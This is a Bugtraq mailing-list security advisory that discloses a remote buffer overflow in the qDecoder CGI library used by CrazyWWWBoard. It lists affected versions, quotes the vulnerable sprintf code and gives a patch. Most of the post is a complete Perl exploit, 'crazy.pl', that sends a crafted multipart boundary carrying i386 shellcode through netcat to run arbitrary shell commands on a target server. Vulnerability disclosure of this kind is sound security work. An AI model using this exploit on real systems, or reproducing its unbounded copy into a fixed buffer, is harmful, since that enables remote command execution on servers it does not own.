Bugtraq mailing list archives

Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow Vulnerability


From: "You, Jin-Ho" <jhyou () CHONNAM CHONNAM AC KR>
Date: Tue, 30 Jan 2001 17:21:49 +0900

Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow Vulnerability

Jin Ho You, jhyou () chonnam chonnam ac kr

1 Discussion

CrazyWWWBoard(http://www.crazywwwboard.com) is a web bulletin board program
written in C/C++.  Insufficient boundary checking exists in the qDecoder CGI
library code which handles multipart/form-data MIME entities. You can get
qDecoder from http://www.qdecoder.org.  The boundary delimeter over 254
characters declared in the Content-Type header line overruns it's buffer,
and allows remote buffer overflow attack.

There are other CGI programs using the vulnerable qDecoder, such as CrazySearch.
They have the string "_parse_multipart_data" in the excution program.

2 Vulnerable and not vulnerable versions

- Vulnerable

CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1
CrazySearch 1.0.1
CGIs using qDecoder 4.0 ~ 5.0.8

- Not Vulnerable

CrazyWWWBoard2000LEp5-1
    You can download bug-fixed Light Edition version from
    ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/

Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should be bug fixed.
3 Bug and Fix

Following codes in qDecoder.c of v4.0 ~ 5.0.8 shows the buffer overflow bug.
sprintf() can make the buffer 'boundary' overflow. qDecoder of C++ version
used in some CrazyWWW2000 series should have the same bug.

int _parse_multipart_data(void) {
  ...
  char boundary[0xff], boundaryEOF[0xff];
  ...
  sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
  ...
}


Following patch forces boundary checking to fix the problem.
If you have the source program of CrazyWWWBoard 3.0.1 or CrazyWWWBoard 98PE,
the following patch is required.
qDecoder library must be upgrade to 6.x version.



--- qDecoder-4.0/qDecoder.c.orig        Tue Nov  4 09:09:16 1997
+++ qDecoder-4.0/qDecoder.c     Thu Mar 30 20:08:29 2000
@@ -180,10 +180,17 @@
   int  c, c_count;^M
 ^M
   int  finish;^M
+  int  boundary_len;^M
 ^M
   entries = back = NULL;^M
 ^M
   /* find boundary string */^M
+^M
+  /* force to check the boundary string length */^M
+  boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary"));^M
+  if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))^M
+     qError("_parse_multipart_data() : the boundary string is too long!.");^M
+^M
   sprintf(boundary,    "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));^M
   /* This is not necessary but, I can not trust MS Explore */^M
   qRemoveSpace(boundary);^M

4 Exploit

---- crazy.pl begin ------------>>> cut here <<<-------------------------------
#!/usr/bin/perl
# crazy.pl
#
# CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
#
# CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
# over 254 characters in the header "Content-Type: multipart/form-data".
#
# nc, the netcat program is required.
#
# Programmed by Jin Ho You, jhyou () chonnam chonnam ac kr, 03/26/2000

$nc_path = "nc";        # path of netcat program

$usage =
"usage: crazy.pl [options] CGI-URL\n
  CGI-URL        URL of the target CGI
  -c command     Bourne shell command
                 Default: '/bin/echo 00ps, Crazy!'
  -o offset      Offset of the egg shell code,
                 Recommended [-300,+300]

example)
  crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
  crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
  crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
           target.com/cgi-bin/vulnerable.cgi

";

require 'getopt.pl';
Getopt('oc');

if ($#ARGV < 0) {
    print $usage;
    exit(0);
};

$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
$offset = $opt_o ? $opt_o : 0;

$cgiurl =~ s/http:\/\///;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;
$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);
$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
  "\xeb\x37"                            # jmp 0x37
. "\x5e"                                # popl %esi
. "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x08"                        # addl $0x8,%eax
. "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
. "\x89\xf0"                            # movl %esi,%eax
. "\x83\xc0\x0b"                        # addl $0xb,%eax
. "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
. "\x31\xc0"                            # xorl %eax,%eax
. "\x88\x46\x07"                        # movb %eax,0x7(%esi)
. "\x4e"                                # dec %esi
. "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
. "\x46"                                # inc %esi
. "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
. "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
. "\xb0\x0b"                            # movb $0xb,%al
. "\x89\xf3"                            # movl %esi,%ebx
. "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
. "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
. "\xcd\x80"                            # int 0x80
. "\x31\xdb"                            # xorl %ebx,%ebx
. "\x89\xd8"                            # movl %ebx,%eax
. "\x40"                                # inc %eax
. "\xcd\x80"                            # int 0x80
. "\xe8\xc4\xff\xff\xff"                # call -0x3c
. "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
. $command;
$offset -= length($command) / 2 + length($host . $port , $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
        . pack(V, $entries) x 2 . pack(V, $jump) x 2;

$content = substr($egg, 254) .
  "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);

printf STDERR "Jump to 0x%x\n", $jump;

open(HTTP, "|$nc_path $host $port");
select(HTTP); $|= 1;
print HTTP <<__HEADER__;
POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength

$content
__HEADER__
close(HTTP);
---- crazy.pl end ------------>>> cut here <<<-------------------------------


Current thread: